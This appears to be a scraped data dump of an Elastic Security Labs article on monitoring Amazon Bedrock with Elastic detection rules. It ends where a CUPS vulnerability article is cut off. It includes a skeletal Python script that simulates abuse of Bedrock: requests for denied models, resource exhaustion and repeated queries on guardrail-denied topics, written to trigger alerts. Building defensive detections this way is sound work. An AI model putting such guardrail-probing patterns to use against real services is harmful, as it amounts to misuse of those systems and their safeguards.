threats.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Exploring High-Confidence Misconduct Blocks Detection:\"}),\" An in-depth look at a specific prebuilt rule designed to detect high-confidence misconduct blocks within Amazon Bedrocklogs.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Demonstrate an Exploit Case Scenario for Amazon Bedrock:\"}),\" Using a sample python script to simulate interactions with an Amazon Bedrock model for testing exploit scenarios that could trigger Elastic prebuilt detection rules.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h1,{id:\"prerequisites-for-elastic-amazon-bedrock-integration\",children:\"Prerequisites for Elastic Amazon Bedrock Integration\"}),`\n`,(0,n.jsx)(e.h2,{id:\"elastic-integration-for-amazon-bedrock\",children:\"Elastic Integration for Amazon Bedrock\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The Amazon Bedrock integration collects Amazon Bedrock model invocation logs and runtime metrics with Elastic Agent. For a deeper dive on the integration, documentation can be found in our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/aws_bedrock\",rel:\"nofollow\",children:\"documentation.\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"Below are the list of prerequisites to have a complete and successful configuration of Amazon Bedrock Elastic Integration:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"AWS Account Setup\"}),`\n`,(0,n.jsx)(e.li,{children:\"Elastic Cloud Requirements\"}),`\n`,(0,n.jsx)(e.li,{children:\"Terraform (Optional)\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"aws-account-setup\",children:\"AWS Account Setup\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Active AWS Account\"}),\": Ensure you have an active AWS account with the appropriate permissions to deploy and manage resources on Amazon Bedrock.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Amazon Bedrock Setup\"}),\": Confirm that Amazon Bedrock is correctly configured and operational within your AWS environment. This includes setting up AI models, datasets, and other resources necessary for your applications. Refer to \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html\",rel:\"nofollow\",children:\"Getting started with Amazon Bedrock\"}),\" for additional information on the setup.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"IAM Roles and Permissions\"}),\": Create or configure Identity and Access Management (IAM) roles with the necessary permissions to allow Elastic to access Amazon Bedrock resources. These roles should have sufficient privileges to read logs, metrics, and traces from AWS services. Additional details of the requirements can be found in our \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/aws#requirements\",rel:\"nofollow\",children:\"AWS documentation\"}),\".\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"elastic-cloud-requirements\",children:\"Elastic Cloud Requirements\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/aws_bedrock#changelog\",rel:\"nofollow\",children:\"Version\"})}),(0,n.jsx)(e.th,{align:\"left\",children:\"0.7.0 (Beta)\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.strong,{children:\"Compatible Kibana version(s)\"})}),(0,n.jsx)(e.td,{align:\"left\",children:\"8.13.0 or higher for integration version 0.2.0 and above. Minimum Kibana Version 8.12.0\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/serverless/support\",rel:\"nofollow\",children:(0,n.jsx)(e.strong,{children:\"Supported Serverless project types\"})})}),(0,n.jsx)(e.td,{align:\"left\",children:\"Security Observability\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/subscriptions\",rel:\"nofollow\",children:(0,n.jsx)(e.strong,{children:\"Subscription level\"})})}),(0,n.jsx)(e.td,{align:\"left\",children:\"Basic\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{align:\"left\",children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/support\",rel:\"nofollow\",children:(0,n.jsx)(e.strong,{children:\"Level of support\"})})}),(0,n.jsx)(e.td,{align:\"left\",children:\"Elastic\"})]})]})]})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Note:\"}),\" Since the integration is in Beta Release Stage, please enable \",(0,n.jsx)(e.em,{children:(0,n.jsx)(e.strong,{children:\"Display Beta Integrations in the browse integration section of the Management pane in your Elastic stack.\"})})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image1.png\",alt:\"\",width:\"1091\",height:\"581\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"terraform\",children:\"Terraform\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://www.terraform.io/\",rel:\"nofollow\",children:\"Terraform\"}),\" is an open source infrastructure-as-code (IaC) tool created by HashiCorp that allows you to define, provision, and manage cloud and on-premises infrastructure in a consistent and repeatable way.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"This is an optional step, but good to have as the next sections of the article we use this tool to set up the required AWS Infrastructure. Deep dive on installation and docs can be found \",(0,n.jsx)(e.a,{href:\"https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.h1,{id:\"setting-up-amazon-bedrock-integration\",children:\"Setting Up Amazon Bedrock Integration\"}),`\n`,(0,n.jsx)(e.p,{children:\"In this section of the article, we will walk through the steps to set up Amazon Bedrock integration with Elastic in two parts:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Setting Up AWS Infrastructure with Terraform\"}),\": In this section, we'll walk through the steps to set up an AWS infrastructure using Terraform. We'll create an S3 bucket, an EC2 instance with the necessary IAM roles and policies to access the S3 bucket, and configure security groups to allow SSH access. This setup is ideal for scenarios where you need an EC2 instance to interact with S3, such as for data processing or storage.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Elastic Agent and Integration Setup\"}),\": In this section, we'll walk through the steps to install Elastic Agent on the AWS EC2 instance and Configure the Amazon Bedrock Integration.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"setting-up-aws-infrastructure-with-terraform\",children:\"Setting Up AWS Infrastructure with Terraform\"}),`\n`,(0,n.jsx)(e.p,{children:\"The high-level configuration process will involve the following steps:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Configuring \",(0,n.jsx)(e.code,{children:\"providers.tf\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Configuring \",(0,n.jsx)(e.code,{children:\"variables.tf\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Configuring \",(0,n.jsx)(e.code,{children:\"outputs.tf\"})]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Configuring \",(0,n.jsx)(e.code,{children:\"main.tf\"})]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"providers.tf\"}),\" file typically contains the configuration for any Terraform providers you are using in your project. In our example, it includes the configuration for the AWS provider. Here is the \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-providers-tf\",rel:\"nofollow\",children:\"sample content\"}),\" of our \",(0,n.jsx)(e.code,{children:\"providers.tf\"}),\" file. The \",(0,n.jsx)(e.code,{children:\"profile\"}),\" mentioned in the \",(0,n.jsx)(e.code,{children:\"providers.tf\"}),\" should be configured in the user\\u2019s space of the AWS credentials file \",(0,n.jsx)(e.code,{children:\"(~/.aws/credentials)\"}),\". Refer to \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/cli/v1/userguide/cli-configure-files.html#cli-configure-files-format-profile\",rel:\"nofollow\",children:\"Configuration and credential file settings - AWS Command Line Interface\"}),\", which is also highlighted in the credential section of Elastic\\u2019s \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/aws#aws-credentials\",rel:\"nofollow\",children:\"AWS documentation\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"variables.tf\"}),\" file contains the variable definitions used throughout your Terraform configuration. For our scenario, it includes the definition for the aws_region and resource_labels. Here is the \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-variables-tf\",rel:\"nofollow\",children:\"sample content\"}),\" of our \",(0,n.jsx)(e.code,{children:\"variables.tf\"}),\" file.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"outputs.tf\"}),\" file typically contains the output definitions for your Terraform configuration. These outputs can be used to display useful information after your infrastructure is provisioned. Here is the \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-outputs-tf\",rel:\"nofollow\",children:\"sample content\"}),\" of our \",(0,n.jsx)(e.code,{children:\"outputs.tf\"}),\" file\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"The \",(0,n.jsx)(e.code,{children:\"main.tf\"}),\" file typically contains the collection of all of these resources such as data sources, S3 bucket and bucket policy, Amazon Bedrock Model Invocation Log configuration, SQS Queue configuration, IAM Role and Policies required by the EC2 instance that would install Elastic Agent and stream logs and Amazon Bedrock Guardrail configuration. Here is the \",(0,n.jsx)(e.a,{href:\"https://gist.github.com/shashank-elastic/290218cd4e787f65fbcbfd6423a0ca85#file-main-tf\",rel:\"nofollow\",children:\"sample content\"}),\" of our \",(0,n.jsx)(e.code,{children:\"main.tf\"}),\" file.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Once the \",(0,n.jsx)(e.code,{children:\"main.tf\"}),\" is configured according to the requirements we can then initialize, plan and apply the terraform configuration.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`terraform init // initializes the directory and sets up state files in backend\nterraform plan // command creates an execution plan\nterraform apply // command applies the configuration aka execution step\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"To tear down the infrastructure that terraform has previously created one can use the \",(0,n.jsx)(e.code,{children:\"terraform destroy\"}),\" command.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Once the infrastructure setup is completed, necessary resource identifiers are provided via \",(0,n.jsx)(e.code,{children:\"outputs.tf.\"}),\" We can conduct a basic verification of the infrastructure created using the following steps:\"]}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[\"Verify the S3 Bucket created from the Terraform, one can either use aws cli command reference \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/cli/latest/reference/s3api/list-buckets.html\",rel:\"nofollow\",children:\"list-buckets \\u2014 AWS CLI 1.34.10 Command Reference\"}),\" or navigate via AWS console to verify the same. 2. Verify the SQS Queue created from the terraform, one can either use aws cli command reference \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/cli/latest/reference/sqs/list-queues.html\",rel:\"nofollow\",children:\"list-queues \\u2014 AWS CLI 1.34.10 Command Reference\"}),\" or navigate via AWS console to verify the same.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Verify the EC2 Instance created from the AWS console and connect to the ec2-instance via \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console\",rel:\"nofollow\",children:\"Connect using EC2 Instance Connect - Amazon Elastic Compute Cloud\"}),\" and run \",(0,n.jsx)(e.code,{children:\"aws s3 ls example-bucket-name\"}),\" to check if the instance has access to the created S3 bucket.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"Verify the Amazon Bedrock Guardrail created from the Terraform, once can either use Amazon Bedrock API \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/bedrock/latest/APIReference/API_ListGuardrails.html\",rel:\"nofollow\",children:\"ListGuardrails - Amazon Bedrock\"}),\" or navigate via AWS console to verify the same.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"setting-up-elastic-agent-and-integration-setup\",children:\"Setting Up Elastic Agent and Integration Setup\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To install Elastic Agent on the AWS EC2 instance and configure the Amazon Bedrock integration, create an agent policy using the guided steps in \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/agent-policy.html\",rel:\"nofollow\",children:\"Elastic Agent policies | Fleet and Elastic Agent Guide [8.15]\"}),\". Then log into to the ec2-instance created in the infrastructure setup steps via \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html#ec2-instance-connect-connecting-console\",rel:\"nofollow\",children:\"Connect using EC2 Instance Connect - Amazon Elastic Compute Cloud\"}),\", and install the elastic agent using the guided steps in \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html\",rel:\"nofollow\",children:\"Install Elastic Agents | Fleet and Elastic Agent Guide [8.15]\"}),\". During the agent installation, remember to select the agent policy created at the beginning of this setup process and use the relevant agent installation method depending on the instance created. Finally, ensure the agent is properly configured and there is incoming data from the agent.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"To configure the Amazon Bedrock integration in the newly-created policy, add the Amazon Bedrock integration using the guided steps: \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html\",rel:\"nofollow\",children:\"Add an Elastic Agent integration to a policy\"}),\". Enable Beta Integrations to use Amazon Bedrock integration as displayed in the image below.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image4.png\",alt:\"\",width:\"638\",height:\"542\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Configure the Integration with AWS Access Keys to access the AWS account where Amazon Bedrock is configured. Use the Collect Logs from S3 bucket and specify the Bucket ARN created in the setup step. Please note to use either the S3 Bucket or the SQS Queue URL during the setup and \",(0,n.jsx)(e.em,{children:\"not both\"}),\". Add this integration to the existing policy where the ec2-instance is configured.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image8.png\",alt:\"\",width:\"1650\",height:\"884\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"verify-amazon-bedrock-model-invocation-log-ingestions\",children:\"Verify Amazon Bedrock Model Invocation Log Ingestions\"}),`\n`,(0,n.jsx)(e.p,{children:\"Once the Elastic Agent and integration setup is completed, we can conduct a basic verification of the integration to determine if the logs are being ingested as expected by using the following example API call:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`aws bedrock-runtime converse \\\\\n--model-id \"anthropic.claude-3-5-sonnet-20240620-v1:0\" \\\\\n--messages '[{\"role\":\"user\",\"content\":[{\"text\":\"Hello \"}]}]' \\\\\n--inference-config '{\"maxTokens\":2000,\"stopSequences\":[],\"temperature\":1,\"topP\":0.999}' \\\\\n--additional-model-request-fields '{\"top_k\":250}' \\\\\n--region us-east-1\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The example API call assumes a working setup with aws cli and there is access for the foundational model \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/bedrock/latest/userguide/model-parameters-anthropic-claude-messages.html\",rel:\"nofollow\",children:\"Anthropic Claude Messages API - Amazon Bedrock\"}),\". If the user does not have access to the model one can simply request access for models from the model-access page as suggested in \",(0,n.jsx)(e.a,{href:\"https://docs.aws.amazon.com/bedrock/latest/userguide/model-access.html\",rel:\"nofollow\",children:\"Access Amazon Bedrock foundation models\"}),\", or we can optionally change the API call to any existing model the user can access.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"On successful execution of the above API call, the Amazon Bedrock Model invocation logs are populated and in Kibana \",(0,n.jsx)(e.code,{children:\"logs-aws_bedrock.invocation-default\"}),\" should be populated with those invocation logs. We can use the following simple ES|QL query to return recently ingested events.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`from logs-aws_bedrock.invocation-* | LIMIT 10\n`})}),`\n`,(0,n.jsx)(e.h1,{id:\"enable-prebuilt-detection-rules\",children:\"Enable Prebuilt Detection Rules\"}),`\n`,(0,n.jsx)(e.p,{children:\"To enable prebuilt detection rules, first login to the elastic instance and from the left pane navigation navigate to Security \\u2192 Rules \\u2192 Detection rules (SIEM). Filter for \\u201CData Source: Amazon Bedrock\\u201D from the tags section.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Enable the available prebuilt rules. For prebuilt rules, the Setup information contains a helper guide to setup AWS Guardrails for Amazon Bedrock, which is accomplished in the \",(0,n.jsx)(e.a,{href:\"?tab=t.0#bookmark=id.5wbf10usmxhz\",children:\"Setting Up AWS Infrastructure with Terraform\"}),\" step if the example is followed correctly and the terraform has the Amazon Bedrock Guardrail configuration. Please note this setup is vital for some of the rules to generate alerts\\u2013we need to ensure the guardrail is set up accordingly if skipped in the infrastructure setup stage.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image3.png\",alt:\"\",width:\"1999\",height:\"706\"})}),`\n`,(0,n.jsx)(e.h1,{id:\"exploring-high-confidence-misconduct-blocks-detection\",children:\"Exploring High-Confidence Misconduct Blocks Detection\"}),`\n`,(0,n.jsx)(e.p,{children:\"Let\\u2019s simulate a real world scenario in which a user queries a topic denied to the Amazon Bedrock model. Navigate to the Amazon Bedrock section in the Amazon UI Console, and use the left navigation pane to navigate to the Guardrails subsection under Safeguards. Use the sample guardrail created during our setup instructions for this exercise, and use the test option to run a model invocation with the guardrails and query the denied topic configured.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image6.png\",alt:\"\",width:\"1999\",height:\"1259\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Repeat the query at least 6 times as the prebuilt rule is designed to alert on greater than 5 high confidence blocks. When the Alert schedule runs, we can see an alert populate for \",(0,n.jsx)(e.code,{children:\"Unusual High Confidence Misconduct Blocks Detected.\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image7.png\",alt:\"\",width:\"1999\",height:\"1059\"})}),`\n`,(0,n.jsx)(e.h1,{id:\"demonstrate-an-exploit-case-scenario-for-amazon-bedrock\",children:\"Demonstrate an Exploit Case Scenario for Amazon Bedrock\"}),`\n`,(0,n.jsx)(e.p,{children:\"To simulate an Amazon Bedrock Security bypass, we need an exploit simulation script to interact with Amazon Bedrock models. The exploit script example we provide simulates the following attack pattern:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Attempts multiple successive requests to use denied model resources within AWS Bedrock\"}),`\n`,(0,n.jsx)(e.li,{children:\"Generates multiple successive validation exception errors within Amazon Bedrock\"}),`\n`,(0,n.jsx)(e.li,{children:\"User consistently generates high input token counts, submits numerous requests, and receives large responses that mimic patterns of resource exhaustion\"}),`\n`,(0,n.jsx)(e.li,{children:\"Combines repeated high-confidence 'BLOCKED' actions coupled with specific violation codes such as 'MISCONDUCT', indicating persistent misuse or attempts to probe the model's ethical boundaries\"}),`\n`]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-py\",children:`class BedrockModelSimulator:\n def __init__(self, profile_name, region_name):\n // Create a Boto3 Session Client for Ineration \n def generate_args_invoke_model(self, model_id, user_message, tokens): \t// Generate Model Invocation parameters\n guardrail_id = \u003c\u003cGUARDRAIL_ID\u003e\u003e\n guardrail_version = \u003c\u003cGUARDRAIL_VERSION\u003e\u003e\n\n guardrail_config = {\n \"guardrailIdentifier\": guardrail_id,\n \"guardrailVersion\": guardrail_version,\n \"trace\": \"enabled\"\n }\n conversation = [\n {\n \"role\": \"user\",\n \"content\": [{\"text\": user_message}],\n }\n ]\n inference_config = {\"maxTokens\": tokens, \"temperature\": 0.7, \"topP\": 1}\n additional_model_request_fields = {}\n\n kwargs = {\n \"modelId\": model_id,\n \"messages\": conversation,\n \"inferenceConfig\": inference_config,\n \"additionalModelRequestFields\": additional_model_request_fields\n\t \"guardrailConfig\" : guardrail_config\n }\n return kwargs\n \n def invoke_model(self, invocation_arguments):\n for _ in range(count):\n try:\n // Invoke Model With right invocation_arguments\n except ClientError as e:\n // Error meesage\n\ndef main():\n profile_name = \u003c\u003cAWS Profile\u003e\u003e\n region_name = 'us-east-1'\n denied_model_id = // Use a denied model \n denied_model_user_message = // Sample Message \n available_model_id = // Use an available model \n validation_exception_user_message = // Sample Message \n resource_exploit_user_message = // A very big message for resource exhuastion\n denied_topic_user_message = // Sample Message that can query denied topic configured\n simulator = BedrockModelSimulator(profile_name, region_name)\n denied_model_invocation_arguments = simulator.generate_args_invoke_model(denied_model_id, denied_model_user_message, 200)\n simulator.invoke_model(denied_model_invocation_arguments)\n validation_exception_invocation_arguments = simulator.generate_args_invoke_model(available_model_id, validation_exception_user_message, 6000)\n simulator.invoke_model(validation_exception_invocation_arguments)\n resource_exhaustion_invocation_arguments = simulator.generate_args_invoke_available_model(available_model_id, resource_exploit_user_message, 4096)\n simulator.invoke_model(resource_exhaustion_invocation_arguments)\n denied_topic_invocation_arguments = simulator.generate_args_invoke_available_model_guardrail(available_model_id, denied_topic_user_message, 4096)\n simulator.invoke_model(denied_topic_invocation_arguments)\n\nif __name__ == \"__main__\":\n main()\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.strong,{children:\"Note:\"}),\" The GUARDRAIL_ID and GUARDRAIL_VERSION can be found in \",(0,n.jsx)(e.code,{children:\"outputs.tf\"})]}),`\n`,(0,n.jsx)(e.p,{children:\"When executed in a controlled environment, the provided script simulates an exploit scenario that would generate detection alerts in Elastic Security. When analyzing these alerts using the Elastic Attack Discovery feature, the script creates attack chains that show the relationships between various alerts, giving analysts a clear understanding of how multiple alerts might be part of a larger attack.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/streamlining-security-integrating-amazon-bedrock/image2.png\",alt:\"\",width:\"1999\",height:\"966\"})}),`\n`,(0,n.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"Integrating Elastic with Amazon Bedrock empowers organizations to maintain a secure and compliant cloud environment while maximizing the benefits of AI and machine learning. By leveraging Elastic\\u2019s advanced security and observability tools, businesses can proactively detect threats, automate compliance reporting, and gain deeper insights into their cloud operations. Increasingly, enterprises rely on opaque data sources and technologies to reveal the most serious threats-- our commitment to transparent security is evident in our open artifacts, integrations, and source code.\"})]})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var k=y;return v(A);})();\n;return Component;"},"_id":"articles/streamlining-security-integrating-amazon-bedrock.mdx","_raw":{"sourceFilePath":"articles/streamlining-security-integrating-amazon-bedrock.mdx","sourceFileName":"streamlining-security-integrating-amazon-bedrock.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/streamlining-security-integrating-amazon-bedrock"},"type":"Article","imageUrl":"/assets/images/streamlining-security-integrating-amazon-bedrock/Security Labs Images 36.jpg","readingTime":"15 min read","series":"","url":"/streamlining-security-integrating-amazon-bedrock","headings":[{"level":2,"title":"Elastic Integration for Amazon Bedrock","href":"#elastic-integration-for-amazon-bedrock"},{"level":3,"title":"AWS Account Setup","href":"#aws-account-setup"},{"level":3,"title":"Elastic Cloud Requirements","href":"#elastic-cloud-requirements"},{"level":3,"title":"Terraform","href":"#terraform"},{"level":3,"title":"Setting Up AWS Infrastructure with Terraform","href":"#setting-up-aws-infrastructure-with-terraform"},{"level":3,"title":"Setting Up Elastic Agent and Integration Setup","href":"#setting-up-elastic-agent-and-integration-setup"},{"level":3,"title":"Verify Amazon Bedrock Model Invocation Log Ingestions","href":"#verify-amazon-bedrock-model-invocation-log-ingestions"}],"author":[{"title":"Shashank K S","slug":"shashank-k-s","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var h=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),l=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},c=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of h(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026s(t,a,{get:()=\u003en[a],enumerable:!(o=f(n,a))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(_(t)):{},c(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),k=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=j((S,u)=\u003e{u.exports=_jsx_runtime});var D={};l(D,{default:()=\u003eC,frontmatter:()=\u003ep});var r=d(i()),p={title:\"Shashank K S\",slug:\"shashank-k-s\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var C=M;return k(D);})();\n;return Component;"},"_id":"authors/shashank-k-s.mdx","_raw":{"sourceFilePath":"authors/shashank-k-s.mdx","sourceFileName":"shashank-k-s.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/shashank-k-s"},"type":"Author","imageUrl":"","url":"/authors/shashank-k-s"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Cups Overflow: When your printer spills more than Ink","slug":"cups-overflow","date":"2024-09-28","description":"Elastic Security Labs discusses detection and mitigation strategies for vulnerabilities in the CUPS printing system, which allow unauthenticated attackers to exploit the system via IPP and mDNS, resulting in remote code execution (RCE) on UNIX-based systems such as Linux, macOS, BSDs, ChromeOS, and Solaris.","image":"cups-overflow.jpg","tags":["linux","macos","cups","vulnerability","CVE-2024-47176","CVE-2024-47076","CVE-2024-47175","CVE-2024-47177"],"body":{"raw":"\n## Update October 2, 2024\n\nThe following packages introduced out-of-the-box (OOTB) rules to detect the exploitation of these vulnerabilities. Please check your \"Prebuilt Security Detection Rules\" integration versions or visit the [Downloadable rule updates](https://www.elastic.co/guide/en/security/current/prebuilt-rules-downloadable-updates.html) site.\n\n- Stack Version 8.15 - Package Version 8.15.6+\n- Stack Version 8.14 - Package Version 8.14.12+\n- Stack Version 8.13 - Package Version 8.13.18+\n- Stack Version 8.12 - Package Version 8.12.23+\n\n## Key takeaways\n\n* On September 26, 2024, security researcher Simone Margaritelli (@evilsocket) disclosed multiple vulnerabilities affecting the `cups-browsed`, `libscupsfilters`, and `libppd` components of the CUPS printing system, impacting versions \\\u003c= 2.0.1.\n* The vulnerabilities allow an unauthenticated remote attacker to exploit the printing system via IPP (Internet Printing Protocol) and mDNS to achieve remote code execution (RCE) on affected systems. \n* The attack can be initiated over the public internet or local network, targeting the UDP port 631 exposed by `cups-browsed` without any authentication requirements.\n* The 